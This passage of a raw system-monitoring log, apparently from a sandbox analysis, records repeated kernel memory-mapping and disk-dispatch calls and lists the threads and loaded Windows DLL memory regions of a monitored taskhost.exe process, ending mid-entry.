[0101.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c69000 [0101.031] IdePortDispatch () returned 0x103 [0101.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6d000 [0101.032] IdePortDispatch () returned 0x103 [0101.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c73000 [0101.032] IdePortDispatch () returned 0x103 [0101.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7b000 [0101.033] IdePortDispatch () returned 0x103 [0101.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8e000 [0101.033] IdePortDispatch () returned 0x103 [0101.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0101.034] IdePortDispatch () returned 0x103 [0101.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9b000 [0101.034] IdePortDispatch () returned 0x103 [0101.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca3000 [0101.035] IdePortDispatch () returned 0x103 [0101.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cac000 [0101.036] IdePortDispatch () returned 0x103 [0101.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb5000 [0101.036] IdePortDispatch () returned 0x103 [0101.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbd000 [0101.037] IdePortDispatch () returned 0x103 [0101.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc4000 [0101.037] IdePortDispatch () returned 0x103 [0101.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ccd000 [0101.038] IdePortDispatch () returned 0x103 [0101.038] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd5000 [0101.038] IdePortDispatch () returned 0x103 [0101.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce0000 [0101.039] IdePortDispatch () returned 0x103 [0101.039] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf0000 [0101.040] IdePortDispatch () returned 0x103 [0101.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0101.040] IdePortDispatch () returned 0x103 [0101.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d00000 [0101.041] IdePortDispatch () returned 0x103 [0101.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d0c000 [0101.041] IdePortDispatch () returned 0x103 [0101.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d14000 [0101.042] IdePortDispatch () returned 0x103 [0101.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1c000 [0101.043] IdePortDispatch () returned 0x103 [0101.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d24000 [0101.043] IdePortDispatch () returned 0x103 [0101.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2e000 [0101.044] IdePortDispatch () returned 0x103 [0101.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3e000 [0101.044] IdePortDispatch () returned 0x103 [0101.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4e000 [0101.045] IdePortDispatch () returned 0x103 [0101.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d56000 [0101.046] IdePortDispatch () returned 0x103 [0101.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d63000 [0101.047] IdePortDispatch () returned 0x103 [0101.047] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d67000 [0101.047] IdePortDispatch () returned 0x103 [0101.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6f000 [0101.048] IdePortDispatch () returned 0x103 [0101.048] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d77000 [0101.049] IdePortDispatch () returned 0x103 [0101.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7f000 [0101.049] IdePortDispatch () returned 0x103 [0101.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d85000 [0101.050] IdePortDispatch () returned 0x103 [0101.051] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8b000 [0101.051] IdePortDispatch () returned 0x103 [0101.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d97000 [0101.052] IdePortDispatch () returned 0x103 [0101.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b97000 [0101.521] IdePortDispatch () returned 0x103 [0101.730] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c44000 [0101.730] IdePortDispatch () returned 0x103 [0101.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c58000 [0101.753] IdePortDispatch () returned 0x103 [0101.765] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003426000 [0101.766] IdePortDispatch () returned 0x103 [0102.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b2000 [0102.160] IdePortDispatch () returned 0x103 [0102.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff8800280e6a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b3000 [0102.161] IdePortDispatch () returned 0x103 [0102.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b6000 [0102.162] IdePortDispatch () returned 0x103 [0102.164] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\PhotoMetadataHandler.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ba000 [0102.164] IdePortDispatch () returned 0x103 [0102.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bc000 [0102.164] IdePortDispatch () returned 0x103 [0102.165] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0102.165] IdePortDispatch () returned 0x103 [0102.166] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WindowsCodecs.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.166] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0102.166] IdePortDispatch () returned 0x103 [0102.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d7000 [0102.177] IdePortDispatch () returned 0x103 [0102.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034dd000 [0102.178] IdePortDispatch () returned 0x103 [0102.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034de000 [0102.180] IdePortDispatch () returned 0x103 [0102.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff880034f9000 [0102.691] IdePortDispatch () returned 0x103 [0102.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003501000 [0102.692] IdePortDispatch () returned 0x103 [0102.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003507000 [0102.692] IdePortDispatch () returned 0x103 [0103.208] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b73000 [0103.208] IdePortDispatch () returned 0x103 [0103.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7b000 [0103.209] IdePortDispatch () returned 0x103 [0103.209] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b83000 [0103.209] IdePortDispatch () returned 0x103 [0103.210] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b91000 [0103.210] IdePortDispatch () returned 0x103 [0103.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba5000 [0103.212] IdePortDispatch () returned 0x103 [0103.212] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba9000 [0103.212] IdePortDispatch () returned 0x103 [0103.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb1000 [0103.213] IdePortDispatch () returned 0x103 [0103.213] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bb6000 [0103.213] IdePortDispatch () returned 0x103 Thread: id = 355 os_tid = 0x5bc Thread: id = 390 os_tid = 0x644 Process: id = "32" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x7710a000" os_pid = "0x578" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" Region: id = 2853 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2854 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2855 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2856 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2857 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2858 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2859 start_va = 0xff250000 end_va = 0xff263fff entry_point = 0xff252ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" Region: id = 2860 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2861 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2862 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2863 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2877 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2878 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 2879 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2880 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2881 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2882 start_va = 0x50000 end_va = 0x5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2883 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2884 start_va = 0xd0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2885 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 2886 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 2887 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 2888 start_va = 0x280000 end_va = 0x280fff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2889 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2890 start_va = 0x520000 end_va = 0x6a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2891 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 2892 start_va = 0x840000 end_va = 0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2893 start_va = 0x1c40000 end_va = 0x2032fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c40000" filename = "" Region: id = 2894 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2895 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2896 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2897 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2898 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2899 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2900 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2901 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2902 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2903 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2904 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2905 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2929 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2930 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2931 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2932 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2933 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2934 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2935 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2936 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2937 start_va = 0x2140000 end_va = 0x21bffff entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 2938 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2939 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2940 start_va = 0x23e0000 end_va = 0x26aefff entry_point = 0x23e0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 3076 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3077 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3078 start_va = 0x290000 end_va = 0x36efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3079 start_va = 0x2090000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 3080 start_va = 0x2250000 end_va = 0x22cffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 3081 start_va = 0x2330000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 3082 start_va = 0x26f0000 end_va = 0x276ffff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 3083 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 3084 start_va = 0x2830000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 3085 start_va = 0x29b0000 end_va = 0x2a2ffff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3086 start_va = 0x7fefb5c0000 end_va = 0x7fefb5d7fff entry_point = 0x7fefb5c1630 region_type = mapped_file name = "PlaySndSrv.dll" filename = "\\Windows\\System32\\PlaySndSrv.dll" Region: id = 3087 start_va = 0x7fefc090000 end_va = 0x7fefc0a7fff entry_point = 0x7fefc091130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" Region: id = 3088 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 3089 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 3090 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 3091 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3092 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3093 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3094 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3095 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3125 start_va = 0x2a40000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 3126 start_va = 0x7fef9e30000 end_va = 0x7fef9e6cfff entry_point = 0x7fef9e31bdc region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" Region: id = 3127 start_va = 0x7fefbde0000 end_va = 0x7fefbdeafff entry_point = 0x7fefbde1290 region_type = mapped_file name = "MsCtfMonitor.dll" filename = 